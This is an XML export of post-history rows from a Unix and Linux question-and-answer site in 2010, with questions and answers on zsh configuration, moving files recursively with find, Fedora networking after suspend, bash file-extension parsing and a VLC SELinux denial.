  <row Id="3092" PostHistoryTypeId="2" PostId="1561" RevisionGUID="7c9d46a3-d7c8-4feb-83b9-cb780d2c4d87" CreationDate="2010-09-04T01:10:51.730" UserId="1335" Text="Have a look at Robbie Russell's Oh My Zsh project on Github - http://github.com/robbyrussell/oh-my-zsh &#xD;&#xA;&#xD;&#xA;There's a bunch of theme's in there that should give you a fair amount of info." />
  <row Id="3093" PostHistoryTypeId="2" PostId="1562" RevisionGUID="734368b7-221f-48c4-bf1b-59dbdb282a68" CreationDate="2010-09-04T01:18:37.093" UserId="1335" Text="Also the default tab completion is better than bash... for example...&#xD;&#xA;&#xD;&#xA;`~/.e.d`TAB will expand to `~/.emacs.d/` in zsh, bash will just beep.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3094" PostHistoryTypeId="5" PostId="1555" RevisionGUID="ce600345-6846-42b6-8d7a-cba4b3950668" CreationDate="2010-09-04T01:47:14.520" UserId="73" Comment="deleted 12 characters in body; edited tags; edited title" Text="What would be a good way to move a file type from a directory and all of its sub-directories?&#xD;&#xA;&#xD;&#xA;Like &quot;move all *.ogg in /thisdir recursively to /somedir&quot;. I tried a couple of things; my best effort was (still not that great):&#xD;&#xA;&#xD;&#xA;    find /thisdir -type f -name '*.ogg' -exec mv /somedir {} \;&#xD;&#xA;&#xD;&#xA;It returned on each line before each file name, &#xD;&#xA;&#xD;&#xA;    mv: cannot overwrite non-directory `/thisdir/*.ogg' with directory `/somedir'&#xD;&#xA;" />
  <row Id="3095" PostHistoryTypeId="4" PostId="1555" RevisionGUID="ce600345-6846-42b6-8d7a-cba4b3950668" CreationDate="2010-09-04T01:47:14.520" UserId="73" Comment="deleted 12 characters in body; edited tags; edited title" Text="How can I move files by type recursively from a directory and its sub-directories to another directory? " />
  <row Id="3096" PostHistoryTypeId="6" PostId="1555" RevisionGUID="ce600345-6846-42b6-8d7a-cba4b3950668" CreationDate="2010-09-04T01:47:14.520" UserId="73" Comment="deleted 12 characters in body; edited tags; edited title" Text="écommandölineàédirectoryàéfindàérenameà" />
  <row Id="3097" PostHistoryTypeId="2" PostId="1563" RevisionGUID="3950d2c3-c9cc-4251-982f-ff2191defe51" CreationDate="2010-09-04T04:04:29.237" UserId="1267" Text="Hi--&#xD;&#xA;&#xD;&#xA;  All, i am using fedora 13 and its working great. The only problem which i am facing is the networking gets automatically disabled if i put my system on the &quot;SUSPEND&quot; mode for &gt; 30mins.&#xD;&#xA;And i am not being able to enable even after right clicking. Then i have to restart my system, to get the internet working. Can anyone say me as to how to rectify this!" />
  <row Id="3098" PostHistoryTypeId="1" PostId="1563" RevisionGUID="3950d2c3-c9cc-4251-982f-ff2191defe51" CreationDate="2010-09-04T04:04:29.237" UserId="1267" Text="Neworking getting Disabled " />
  <row Id="3099" PostHistoryTypeId="3" PostId="1563" RevisionGUID="3950d2c3-c9cc-4251-982f-ff2191defe51" CreationDate="2010-09-04T04:04:29.237" UserId="1267" Text="énetworkingàéfedoraà" />
  <row Id="3100" PostHistoryTypeId="2" PostId="1564" RevisionGUID="30c6f9c6-bf34-4472-af0d-d09387ad4c34" CreationDate="2010-09-04T04:24:01.400" UserId="171" Text="I have been having the same issue with Fedora 13. It has been hit or miss when network does not work after suspend for me. Here is what I run in a terminal to restart the network connection. &#xD;&#xA;&#xD;&#xA;    sudo /etc/init.d/NetworkManager restart&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3101" PostHistoryTypeId="5" PostId="1559" RevisionGUID="b9bb4f2a-c1c8-4ddb-a30f-27ffd3d958e5" CreationDate="2010-09-04T04:32:52.390" UserId="57" Comment="added 123 characters in body; added 143 characters in body" Text="Something strange started happening to my terminal.&#xD;&#xA;Wherever I type some wrong command it tries to run that command in the background.&#xD;&#xA;&#xD;&#xA;&gt; thegeek@colinux:~# l   &#xD;&#xA;&gt; [9]+  Stopped   l  &#xD;&#xA;&gt; thegeek@colinux:~# fdsl  &#xD;&#xA;&gt; &#xD;&#xA;&gt; [10]+  Stopped                 fdsl  &#xD;&#xA;&#xD;&#xA;what could be the issue ?&#xD;&#xA;&#xD;&#xA;EDIT: &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;After restarting the system the issue is solved. But I am still curious what caused this issue.   &#xD;&#xA;I think it has to do something with `command_not_found_handle` shell function. While trying to find command it was doing something weird. " />
  <row Id="3102" PostHistoryTypeId="2" PostId="1565" RevisionGUID="99aada9b-e859-46c1-bc41-2243218787dc" CreationDate="2010-09-04T05:10:52.160" UserId="1461" Text="Is there any possibility of Linux to turn into Paid OS, after it reaches most of the people in the world. How much of the probability are there. Experts, please lightup my mind.&#xD;&#xA;" />
  <row Id="3103" PostHistoryTypeId="1" PostId="1565" RevisionGUID="99aada9b-e859-46c1-bc41-2243218787dc" CreationDate="2010-09-04T05:10:52.160" UserId="1461" Text="Is there any possibilty of Linux to become Paid OS, when it became the most popular? " />
  <row Id="3104" PostHistoryTypeId="3" PostId="1565" RevisionGUID="99aada9b-e859-46c1-bc41-2243218787dc" CreationDate="2010-09-04T05:10:52.160" UserId="1461" Text="élinuxàéunixà" />
  <row Id="3105" PostHistoryTypeId="2" PostId="1566" RevisionGUID="69add244-3566-474f-baaa-2ccdf6cc1fdd" CreationDate="2010-09-04T05:22:06.037" UserId="1462" Text="I can't figure out how to get pseudostreaming on my Apache server (CENTOS 5.5 i686). &#xD;&#xA;&#xD;&#xA;Here is the link to the original article: &#xD;&#xA;&#xD;&#xA;http://flowplayer.org/plugins/streaming/pseudostreaming.html &#xD;&#xA;&#xD;&#xA;and the install instructions: &#xD;&#xA;&#xD;&#xA;h264.code-shop.com/trac/wiki/Mod-H264-Streaming-Apache-Version2 &#xD;&#xA;&#xD;&#xA;I cannot install httpd-devel or mod_ssl via yum. I get the error &quot;package not found&quot;.  One person mentioned that they think WHM/CPanel breaks yum.&#xD;&#xA;&#xD;&#xA;I have found some RPM packages &#xD;&#xA;&#xD;&#xA;rpm.pbone.net/index.php3/stat/4/idpl/13945478/dir/centos_5/com/mod_ssl-2.2.3-43.el5.centos.x86_64.rpm.html &#xD;&#xA;&#xD;&#xA;rpm.pbone.net/index.php3/stat/4/idpl/13944425/dir/centos_5/com/httpd-devel-2.2.3-43.el5.centos.x86_64.rpm.html &#xD;&#xA;&#xD;&#xA;But as I am not a unix admin, I am unsure of where to go from here.  Can someone point me in the right direction (please remember that I am very junior in linux administration.&#xD;&#xA;" />
  <row Id="3106" PostHistoryTypeId="1" PostId="1566" RevisionGUID="69add244-3566-474f-baaa-2ccdf6cc1fdd" CreationDate="2010-09-04T05:22:06.037" UserId="1462" Text="How to Update Apache to allow Pseudostreaming on CENTOS 5.5 &amp; WHM" />
  <row Id="3107" PostHistoryTypeId="3" PostId="1566" RevisionGUID="69add244-3566-474f-baaa-2ccdf6cc1fdd" CreationDate="2010-09-04T05:22:06.037" UserId="1462" Text="éapacheà" />
  <row Id="3108" PostHistoryTypeId="5" PostId="1565" RevisionGUID="2d24250b-00eb-4813-bd61-c5cd735e9c87" CreationDate="2010-09-04T05:42:06.363" UserId="73" Comment="deleted 81 characters in body; edited tags" Text="What are the chances Linux will turn into a paid OS after most people in the world start using it?" />
  <row Id="3109" PostHistoryTypeId="6" PostId="1565" RevisionGUID="2d24250b-00eb-4813-bd61-c5cd735e9c87" CreationDate="2010-09-04T05:42:06.363" UserId="73" Comment="deleted 81 characters in body; edited tags" Text="élinuxà" />
  <row Id="3110" PostHistoryTypeId="10" PostId="1565" RevisionGUID="a17e9382-be02-43ac-bd11-4f572dd47826" CreationDate="2010-09-04T05:42:32.203" UserId="29" CloseReasonId="3" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="3111" PostHistoryTypeId="5" PostId="1566" RevisionGUID="5e1c3554-8f31-4c31-8e99-c39be50a2268" CreationDate="2010-09-04T05:46:53.783" UserId="73" Comment="deleted 7 characters in body; edited tags" Text="I can't figure out how to get pseudostreaming on my Apache server (CENTOS 5.5 i686). &#xD;&#xA;&#xD;&#xA;I've read [this article](http://flowplayer.org/plugins/streaming/pseudostreaming.html) and [these install instructions](http://h264.code-shop.com/trac/wiki/Mod-H264-Streaming-Apache-Version2).&#xD;&#xA;&#xD;&#xA;I cannot install `httpd-devel` or `mod_ssl` via yum; I get the error &quot;package not found&quot;.  One person mentioned that they think WHM/CPanel breaks yum.&#xD;&#xA;&#xD;&#xA;I have found some RPM packages:&#xD;&#xA;&#xD;&#xA;&gt; rpm.pbone.net/index.php3/stat/4/idpl/13945478/dir/centos_5/com/mod_ssl-2.2.3-43.el5.centos.x86_64.rpm.html &#xD;&#xA;&#xD;&#xA;&gt; rpm.pbone.net/index.php3/stat/4/idpl/13944425/dir/centos_5/com/httpd-devel-2.2.3-43.el5.centos.x86_64.rpm.html &#xD;&#xA;&#xD;&#xA;But as I am not a unix admin, I am unsure of where to go from here.  Can someone point me in the right direction? (Please remember that I am very junior in linux administration.)&#xD;&#xA;" />
  <row Id="3112" PostHistoryTypeId="6" PostId="1566" RevisionGUID="5e1c3554-8f31-4c31-8e99-c39be50a2268" CreationDate="2010-09-04T05:46:53.783" UserId="73" Comment="deleted 7 characters in body; edited tags" Text="éapacheàécentosà" />
  <row Id="3113" PostHistoryTypeId="2" PostId="1567" RevisionGUID="86d9ff75-7c5b-480e-ac28-3a8e4a92ecb0" CreationDate="2010-09-04T06:04:41.607" UserId="1207" Text="If I understand you correctly and if this is on Linux, you may try using&#xD;&#xA;&#xD;&#xA;`/proc/self/fd/0`&#xD;&#xA;&#xD;&#xA;as the argument.  This should be a symlink to the standard input of the process. Equivalently, on some systems, you could use&#xD;&#xA;&#xD;&#xA;`/dev/stdin`&#xD;&#xA;&#xD;&#xA;which is often just a symlink to `/proc/self/fd/0`. I don't have a system with syslog-ng to test this on, but I think something like the following should work:&#xD;&#xA;&#xD;&#xA;    destination knotifier { program('/path/to/executable -i /proc/self/fd/0'); };&#xD;&#xA;where -i would be substituted for whatever command line switch the executable needs if any.  I've also seen /dev/fd/0 used, but I tend to stick with using /proc directly.  For more info see `man proc`.&#xD;&#xA;" />
  <row Id="3114" PostHistoryTypeId="2" PostId="1568" RevisionGUID="98cfd4d6-68a4-405f-aed4-37197a68bf67" CreationDate="2010-09-04T06:12:13.850" UserId="558" Text="That sounds like [the command-not-found hook][1] was acting up for some reason. I've had problems with it before, but never could figure out how to fix it :-/.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.workswithu.com/2009/08/17/enhanced-command-not-found-hook-in-ubuntu-910/" />
  <row Id="3115" PostHistoryTypeId="5" PostId="1396" RevisionGUID="95f1fe3f-ed9d-470a-a65f-7881d7005670" CreationDate="2010-09-04T06:24:56.567" UserId="29" Comment="forgot to paste a line" Text="This is a continuation of [my](http://unix.stackexchange.com/questions/547/make-my-zsh-prompt-show-mode-in-vi-mode) [previous](http://unix.stackexchange.com/questions/1022/is-it-possible-to-display-stuff-below-the-prompt-at-a-prompt) questions. I currently have the following in `~/.zsh.d/functions.sh`&#xD;&#xA;&#xD;&#xA;    function zle-line-init zle-keymap-select {&#xD;&#xA;        psvar[1]=&quot;${${KEYMAP/vicmd/}/(main|viins)/-- INSERT --}&quot;&#xD;&#xA;        zle reset-prompt&#xD;&#xA;    }&#xD;&#xA;    precmd() {&#xD;&#xA;        psvar[2]=()&#xD;&#xA;        vcs_info&#xD;&#xA;        [[ -n $vcs_info_msg_0_ ]] &amp;&amp; psvar[2]=&quot;$vcs_info_msg_0_&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;and relevenat sections from my `~/.zshrc`&#xD;&#xA;&#xD;&#xA;    if [ -d ~/.zsh.d ]; then&#xD;&#xA;        for i in ~/.zsh.d/*; do&#xD;&#xA;            if [ -r $i ]; then&#xD;&#xA;                source $i&#xD;&#xA;            fi&#xD;&#xA;        done&#xD;&#xA;        unset i&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    zle -N zle-line-init&#xD;&#xA;    zle -N zle-keymap-select&#xD;&#xA;    autoload -Uz colors &amp;&amp; colors&#xD;&#xA;    autoload -Uz vcs_info&#xD;&#xA;    zstyle ':vcs_info:*' enable git&#xD;&#xA;    zstyle ':vcs_info:*' formats '[%b]'&#xD;&#xA;    zstyle ':vcs_info:*' branchformats '[%b|%r]'&#xD;&#xA;    zstyle ':vcs_info:*' actionformats '[%b|%a]'&#xD;&#xA;    &#xD;&#xA;    # 063 is a blue&#xD;&#xA;    &#xD;&#xA;    # vimode implentation&#xD;&#xA;    psvar[1]='-- INSERT --'&#xD;&#xA;    local down=$terminfo[cud1]$terminfo[cuu1]$terminfo[sc]$terminfo[cud1]&#xD;&#xA;    local mode=&quot;%F{063}%1 %(1v.%1v.)%f&quot;&#xD;&#xA;    local up=$terminfo[rc]&#xD;&#xA;    local vimode=$down$mode$up&#xD;&#xA;    &#xD;&#xA;    # current working directory as blue&#xD;&#xA;    local cwd='%F{063}%1~%f'&#xD;&#xA;    &#xD;&#xA;    # display git branch if git repo&#xD;&#xA;    local git='%(2v.%F{099}%2v%f.)'&#xD;&#xA;    &#xD;&#xA;    # if root then red # else blue %&#xD;&#xA;    local prompt_char='%(!.%F{red}%#%f.%F{063}%#%f)'&#xD;&#xA;    &#xD;&#xA;    PS1=$'%{$vimode%} $cwd $git $prompt_char '&#xD;&#xA;    RPS1='%m'&#xD;&#xA;    preexec () { print -rn -- $terminfo[el]; }&#xD;&#xA;&#xD;&#xA;This works right, except that it doesn't display `-- INSERT --` when the shell is first started, after that it works as expected.&#xD;&#xA;&#xD;&#xA;*other improvement suggestions welcome*&#xD;&#xA;&#xD;&#xA;**Update** I decided to work around the issue, though I still don't know why it works. For now I've set `psvar[1]` to `-- INSERT --` out of the box, since I know it will be insert on start. This doesn't feel like a proper resolution though." />
  <row Id="3116" PostHistoryTypeId="5" PostId="1564" RevisionGUID="cfbc5163-62c9-4673-af77-1a0206cbee8e" CreationDate="2010-09-04T06:44:53.143" UserId="171" Comment="updated answer" Text="I have been having the same issue with Fedora 13. It has been hit or miss when network does not work after suspend for me. Here is what I run in a terminal to restart the network connection. &#xD;&#xA;&#xD;&#xA;    sudo /etc/init.d/NetworkManager restart&#xD;&#xA;&#xD;&#xA;Update:&#xD;&#xA;this is a work around from [this post][1] at Fedora forums&#xD;&#xA;&#xD;&#xA;In a text editor open&#xD;&#xA;&#xD;&#xA;    sudo vi  /usr/lib/pm-utils/sleep.d/55NetworkManager&#xD;&#xA;&#xD;&#xA; on each line that says (I had two entries)&#xD;&#xA;&#xD;&#xA;&gt; dbus_send --system      \&#xD;&#xA;&#xD;&#xA;add &#xD;&#xA;&#xD;&#xA;&gt; --print-reply&#xD;&#xA;&#xD;&#xA;so it looks like this:&#xD;&#xA;&#xD;&#xA;&gt; dbus_send --system --print-reply \&#xD;&#xA;&#xD;&#xA;After the edit I tried suspend everything resumed fine, but; I have not given it any heavy testing.&#xD;&#xA;&#xD;&#xA;  [1]: http://forums.fedoraforum.org/showpost.php?p=1395382&amp;postcount=17" />
  <row Id="3117" PostHistoryTypeId="2" PostId="1569" RevisionGUID="06071cf4-bccb-4733-85b1-e0d55a484145" CreationDate="2010-09-04T10:26:06.443" UserId="1465" Text="What does root:wheel mean in the following?&#xD;&#xA;&#xD;&#xA;&gt; chown root:wheel myfile" />
  <row Id="3118" PostHistoryTypeId="1" PostId="1569" RevisionGUID="06071cf4-bccb-4733-85b1-e0d55a484145" CreationDate="2010-09-04T10:26:06.443" UserId="1465" Text="Meaning of root:wheel" />
  <row Id="3119" PostHistoryTypeId="3" PostId="1569" RevisionGUID="06071cf4-bccb-4733-85b1-e0d55a484145" CreationDate="2010-09-04T10:26:06.443" UserId="1465" Text="écommandölineà" />
  <row Id="3120" PostHistoryTypeId="2" PostId="1570" RevisionGUID="e0bf8805-8425-47e6-a14a-f2e92e447583" CreationDate="2010-09-04T10:30:04.600" UserId="250" Text="`root` is a user (the super user) and `wheel` is a group (of super users I guess).&#xD;&#xA;&#xD;&#xA;    chown root:wheel myfile&#xD;&#xA;&#xD;&#xA;means making `myfile` belong to the user `root` and the group `wheel` (read `man chown` for more information)." />
  <row Id="3121" PostHistoryTypeId="2" PostId="1571" RevisionGUID="49de8d03-2616-4b04-8192-afa539655708" CreationDate="2010-09-04T11:49:44.183" UserId="317" Text="how do i get file extension from bash:&#xD;&#xA;&#xD;&#xA;    filename=`basename $filepath`&#xD;&#xA;    fileext=${filename##*.}&#xD;&#xA;&#xD;&#xA;by doing that i can get extension of `bz2` from path `/dir/subdir/file.bz2` , but i have problem with path `/dir/subdir/file-1.0.tar.bz2`" />
  <row Id="3122" PostHistoryTypeId="1" PostId="1571" RevisionGUID="49de8d03-2616-4b04-8192-afa539655708" CreationDate="2010-09-04T11:49:44.183" UserId="317" Text="bash : get file extension" />
  <row Id="3123" PostHistoryTypeId="3" PostId="1571" RevisionGUID="49de8d03-2616-4b04-8192-afa539655708" CreationDate="2010-09-04T11:49:44.183" UserId="317" Text="élinuxàébashàéscriptingàéfilesà" />
  <row Id="3124" PostHistoryTypeId="5" PostId="1571" RevisionGUID="e583e753-ba94-44fc-accd-2e8bf49c26a2" CreationDate="2010-09-04T11:57:28.313" UserId="317" Comment="added 101 characters in body" Text="how do i get file extension from bash:&#xD;&#xA;&#xD;&#xA;    filename=`basename $filepath`&#xD;&#xA;    fileext=${filename##*.}&#xD;&#xA;&#xD;&#xA;by doing that i can get extension of `bz2` from path `/dir/subdir/file.bz2` , but i have problem with path `/dir/subdir/file-1.0.tar.bz2`&#xD;&#xA;&#xD;&#xA;*I would better choose solution which using only bash without external program if it is possible." />
  <row Id="3125" PostHistoryTypeId="2" PostId="1572" RevisionGUID="0d5fca3a-bd53-4d4f-a4ec-9a45adbe9361" CreationDate="2010-09-04T11:57:39.160" UserId="1253" Text="    $ echo &quot;thisfile.txt&quot;|awk -F . '{print $NF}'&#xD;&#xA;&#xD;&#xA;Comments on this here: [http://liquidat.wordpress.com/2007/09/29/short-tip-get-file-extension-in-shell-script/][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://liquidat.wordpress.com/2007/09/29/short-tip-get-file-extension-in-shell-script/" />
  <row Id="3126" PostHistoryTypeId="5" PostId="1571" RevisionGUID="3c050b2d-c44e-4bce-80d3-d82373176f1d" CreationDate="2010-09-04T12:04:40.137" UserId="317" Comment="added 280 characters in body" Text="how do i get file extension from bash:&#xD;&#xA;&#xD;&#xA;    filename=`basename $filepath`&#xD;&#xA;    fileext=${filename##*.}&#xD;&#xA;&#xD;&#xA;by doing that i can get extension of `bz2` from path `/dir/subdir/file.bz2` , but i have problem with path `/dir/subdir/file-1.0.tar.bz2`&#xD;&#xA;&#xD;&#xA;*I would better choose solution which using only bash without external program if it is possible.&#xD;&#xA;&#xD;&#xA;edit: to make my question clear, I was creating bash script to extract any given archive just by single command of `extract path_to_file` , how to extract the file is determined by the script by seeing its compression or archiving type, that could be .tar.gz, .gz, .bz2 etc..." />
  <row Id="3127" PostHistoryTypeId="5" PostId="1571" RevisionGUID="665305a3-3a8f-4334-bdb6-f732d8b0a52a" CreationDate="2010-09-04T12:12:23.177" UserId="317" Comment="added 183 characters in body; added 7 characters in body" Text="how do i get file extension from bash:&#xD;&#xA;&#xD;&#xA;    filename=`basename $filepath`&#xD;&#xA;    fileext=${filename##*.}&#xD;&#xA;&#xD;&#xA;by doing that i can get extension of `bz2` from path `/dir/subdir/file.bz2` , but i have problem with path `/dir/subdir/file-1.0.tar.bz2`&#xD;&#xA;&#xD;&#xA;*I would better choose solution which using only bash without external program if it is possible.&#xD;&#xA;&#xD;&#xA;edit: to make my question clear, I was creating bash script to extract any given archive just by single command of `extract path_to_file` , how to extract the file is determined by the script by seeing its compression or archiving type, that could be .tar.gz, .gz, .bz2 etc..., i think this should involve string manipulation, for example if i get extension of .gz i should check whether it is has string `.tar` before `.gz` if so, the extension should be `.tar.gz`." />
  <row Id="3128" PostHistoryTypeId="2" PostId="1573" RevisionGUID="b8449a89-6a26-4225-ad24-566de8ccd3e0" CreationDate="2010-09-04T12:15:51.610" UserId="305" Text="    echo ${filename#$(echo $filename | sed 's/\.[^[:digit:]].*$//g;')}&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    % echo $filename&#xD;&#xA;    2.6.35-zen2.patch.lzma&#xD;&#xA;    % echo ${filename#$(echo $filename | sed 's/\.[^[:digit:]].*$//g;')}&#xD;&#xA;    .patch.lzma" />
  <row Id="3129" PostHistoryTypeId="2" PostId="1574" RevisionGUID="83587810-3415-424c-995c-1c53b0610c9a" CreationDate="2010-09-04T12:17:58.953" UserId="885" Text="If the file name is `file-1.0.tar.bz2`, the extension is `bz2`. The method you're using to extract the extension (`fileext=${filename##*.}`) is perfectly valid.&#xD;&#xA;&#xD;&#xA;How do you decide that you want the extension to be `tar.bz2` and not `bz2` or `0.tar.bz2`? You need to answer this question first. Then you can figure out what shell command matches your specification.&#xD;&#xA;&#xD;&#xA;One possible specification is that extensions must begin with a letter. Here's a bash/ksh/zsh implementation:&#xD;&#xA;&#xD;&#xA;        basename=$filename&#xD;&#xA;        fileext=&#xD;&#xA;        while [[ $basename = ?*.* &amp;&amp; ${basename##*.} = [A-Za-z]* ]]; do&#xD;&#xA;          fileext=${basename##*.}.$fileext&#xD;&#xA;          basename=${basename%.*}&#xD;&#xA;        done&#xD;&#xA;        fileext=${fileext%.}&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3130" PostHistoryTypeId="2" PostId="1575" RevisionGUID="1d048775-4004-411f-bc7d-86b21d0bc1c8" CreationDate="2010-09-04T12:36:20.047" UserId="317" Text="i solved it using this:&#xD;&#xA;&#xD;&#xA;    filename=`basename $filepath`&#xD;&#xA;    fileext=${filename##*.}&#xD;&#xA;    fileext2=${filename%.*}&#xD;&#xA;    fileext3=${fileext2##*.}&#xD;&#xA;    if [ &quot;$fileext3&quot; == &quot;tar&quot; ]; then&#xD;&#xA;        fileext=&quot;tar.&quot;$fileext&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;but this only work for known archiving type, in this case only `tar`" />
  <row Id="3131" PostHistoryTypeId="5" PostId="1574" RevisionGUID="230ae494-03da-4b51-b430-98552328cd88" CreationDate="2010-09-04T13:24:40.273" UserId="885" Comment="added another possible specification: strip compression extensions" Text="If the file name is `file-1.0.tar.bz2`, the extension is `bz2`. The method you're using to extract the extension (`fileext=${filename##*.}`) is perfectly valid.&#xD;&#xA;&#xD;&#xA;How do you decide that you want the extension to be `tar.bz2` and not `bz2` or `0.tar.bz2`? You need to answer this question first. Then you can figure out what shell command matches your specification.&#xD;&#xA;&#xD;&#xA;* One possible specification is that extensions must begin with a letter. Here's a bash/ksh/zsh implementation:&#xD;&#xA;&#xD;&#xA;        basename=$filename&#xD;&#xA;        fileext=&#xD;&#xA;        while [[ $basename = ?*.* &amp;&amp; ${basename##*.} = [A-Za-z]* ]]; do&#xD;&#xA;          fileext=${basename##*.}.$fileext&#xD;&#xA;          basename=${basename%.*}&#xD;&#xA;        done&#xD;&#xA;        fileext=${fileext%.}&#xD;&#xA;&#xD;&#xA; **ADDED**: one common extension for which this heuristic fails is `7z`.&#xD;&#xA;&#xD;&#xA;* Another possible specification is that some extensions denote encodings and indicate that further stripping is needed. Here's a bash/ksh/zsh implementation (requiring `shopt -s extglob` under bash and `setopt ksh_glob` under zsh):&#xD;&#xA;&#xD;&#xA;        basename=$filename&#xD;&#xA;        fileext=&#xD;&#xA;        while [[ $basename = ?*.@(bz2|gz|lzma) ]]; do&#xD;&#xA;          fileext=${basename##*.}.$fileext&#xD;&#xA;          basename=${basename%.*}&#xD;&#xA;        done&#xD;&#xA;        if [[ $basename = ?*.* ]]; then&#xD;&#xA;          fileext=${basename##*.}.$fileext&#xD;&#xA;          basename=${basename%.*}&#xD;&#xA;        fi&#xD;&#xA;        fileext=${fileext%.}&#xD;&#xA;&#xD;&#xA; Note that this considers `0` to be an extension in `file-1.0.gz`.&#xD;&#xA;" />
  <row Id="3132" PostHistoryTypeId="2" PostId="1576" RevisionGUID="cf3bc562-64b5-4f7d-b18e-b42a7d558220" CreationDate="2010-09-04T15:08:30.030" UserId="1267" Text="I am using Fedora 13 and my VLC media player is showing this problem for the past one week. How do i rectify this error.&#xD;&#xA;&#xD;&#xA;-----&#xD;&#xA;&#xD;&#xA;Summary:&#xD;&#xA;&#xD;&#xA;SELinux is preventing /usr/bin/vlc from loading&#xD;&#xA;/usr/lib/vlc/plugins/codec/libdmo_plugin.so which requires text relocation.&#xD;&#xA;&#xD;&#xA;Detailed Description:&#xD;&#xA;&#xD;&#xA;The vlc application attempted to load&#xD;&#xA;/usr/lib/vlc/plugins/codec/libdmo_plugin.so which requires text relocation. This&#xD;&#xA;is a potential security problem. Most libraries do not need this permission.&#xD;&#xA;Libraries are sometimes coded incorrectly and request this permission. The&#xD;&#xA;SELinux Memory Protection Tests&#xD;&#xA;(http://people.redhat.com/drepper/selinux-mem.html) web page explains how to&#xD;&#xA;remove this requirement. You can configure SELinux temporarily to allow&#xD;&#xA;/usr/lib/vlc/plugins/codec/libdmo_plugin.so to use relocation as a workaround,&#xD;&#xA;until the library is fixed. Please file a bug report.&#xD;&#xA;&#xD;&#xA;Allowing Access:&#xD;&#xA;&#xD;&#xA;If you trust /usr/lib/vlc/plugins/codec/libdmo_plugin.so to run correctly, you&#xD;&#xA;can change the file context to textrel_shlib_t. &quot;chcon -t textrel_shlib_t&#xD;&#xA;'/usr/lib/vlc/plugins/codec/libdmo_plugin.so'&quot; You must also change the default&#xD;&#xA;file context files on the system in order to preserve them even on a full&#xD;&#xA;relabel. &quot;semanage fcontext -a -t textrel_shlib_t&#xD;&#xA;'/usr/lib/vlc/plugins/codec/libdmo_plugin.so'&quot;&#xD;&#xA;&#xD;&#xA;Fix Command:&#xD;&#xA;&#xD;&#xA;chcon -t textrel_shlib_t '/usr/lib/vlc/plugins/codec/libdmo_plugin.so'&#xD;&#xA;&#xD;&#xA;Additional Information:&#xD;&#xA;&#xD;&#xA;Source Context                unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1&#xD;&#xA;                              023&#xD;&#xA;Target Context                system_u:object_r:lib_t:s0&#xD;&#xA;Target Objects                /usr/lib/vlc/plugins/codec/libdmo_plugin.so [ file&#xD;&#xA;                              ]&#xD;&#xA;Source                        vlc&#xD;&#xA;Source Path                   /usr/bin/vlc&#xD;&#xA;Port                          &lt;Unknown&gt;&#xD;&#xA;Host                          (removed)&#xD;&#xA;Source RPM Packages           vlc-core-1.1.3-1.fc13&#xD;&#xA;Target RPM Packages           vlc-core-1.1.3-1.fc13&#xD;&#xA;Policy RPM                    selinux-policy-3.7.19-51.fc13&#xD;&#xA;Selinux Enabled               True&#xD;&#xA;Policy Type                   targeted&#xD;&#xA;Enforcing Mode                Enforcing&#xD;&#xA;Plugin Name                   allow_execmod&#xD;&#xA;Host Name                     (removed)&#xD;&#xA;Platform                      Linux (removed) 2.6.34.6-47.fc13.i686.PAE #1&#xD;&#xA;                              SMP Fri Aug 27 09:29:49 UTC 2010 i686 i686&#xD;&#xA;Alert Count                   3&#xD;&#xA;First Seen                    Sat 04 Sep 2010 08:26:05 PM IST&#xD;&#xA;Last Seen                     Sat 04 Sep 2010 08:35:40 PM IST&#xD;&#xA;Local ID                      48840a90-fea4-403b-95a3-6cadc80b1a0a&#xD;&#xA;Line Numbers                  &#xD;&#xA;&#xD;&#xA;Raw Audit Messages            &#xD;&#xA;&#xD;&#xA;node=(removed) type=AVC msg=audit(1283612740.262:117): avc:  denied  { execmod } for  pid=9594 comm=&quot;vlc&quot; path=&quot;/usr/lib/vlc/plugins/codec/libdmo_plugin.so&quot; dev=sda2 ino=789070 scontext=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 tcontext=system_u:object_r:lib_t:s0 tclass=file&#xD;&#xA;&#xD;&#xA;node=(removed) type=SYSCALL msg=audit(1283612740.262:117): arch=40000003 syscall=125 success=no exit=-13 a0=4439000 a1=1e000 a2=5 a3=bfbe2480 items=0 ppid=1 pid=9594 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 tty=(none) ses=1 comm=&quot;vlc&quot; exe=&quot;/usr/bin/vlc&quot; subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key=(null)" />
  <row Id="3133" PostHistoryTypeId="1" PostId="1576" RevisionGUID="cf3bc562-64b5-4f7d-b18e-b42a7d558220" CreationDate="2010-09-04T15:08:30.030" UserId="1267" Text="Vlc Media Problem in Fedora!" />
  <row Id="3134" PostHistoryTypeId="3" PostId="1576" RevisionGUID="cf3bc562-64b5-4f7d-b18e-b42a7d558220" CreationDate="2010-09-04T15:08:30.030" UserId="1267" Text="éfedoraàésoftwareörecà" />
  <row Id="3135" PostHistoryTypeId="2" PostId="1577" RevisionGUID="0e187274-a4fb-4430-b6d6-d48ebf82050c" CreationDate="2010-09-04T15:27:40.503" UserId="171" Text="Did you run the fix command in the summary you posted? &#xD;&#xA;&#xD;&#xA;`sudo chcon -t textrel_shlib_t '/usr/lib/vlc/plugins/codec/libdmo_plugin.so'&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3136" PostHistoryTypeId="6" PostId="1576" RevisionGUID="83ffc0a4-3135-46af-a5af-631c83e4cf1b" CreationDate="2010-09-04T15:32:51.430" UserId="138" Comment="added tags" Text="éfedoraàésoftwareörecàéselinuxàévlcà" />
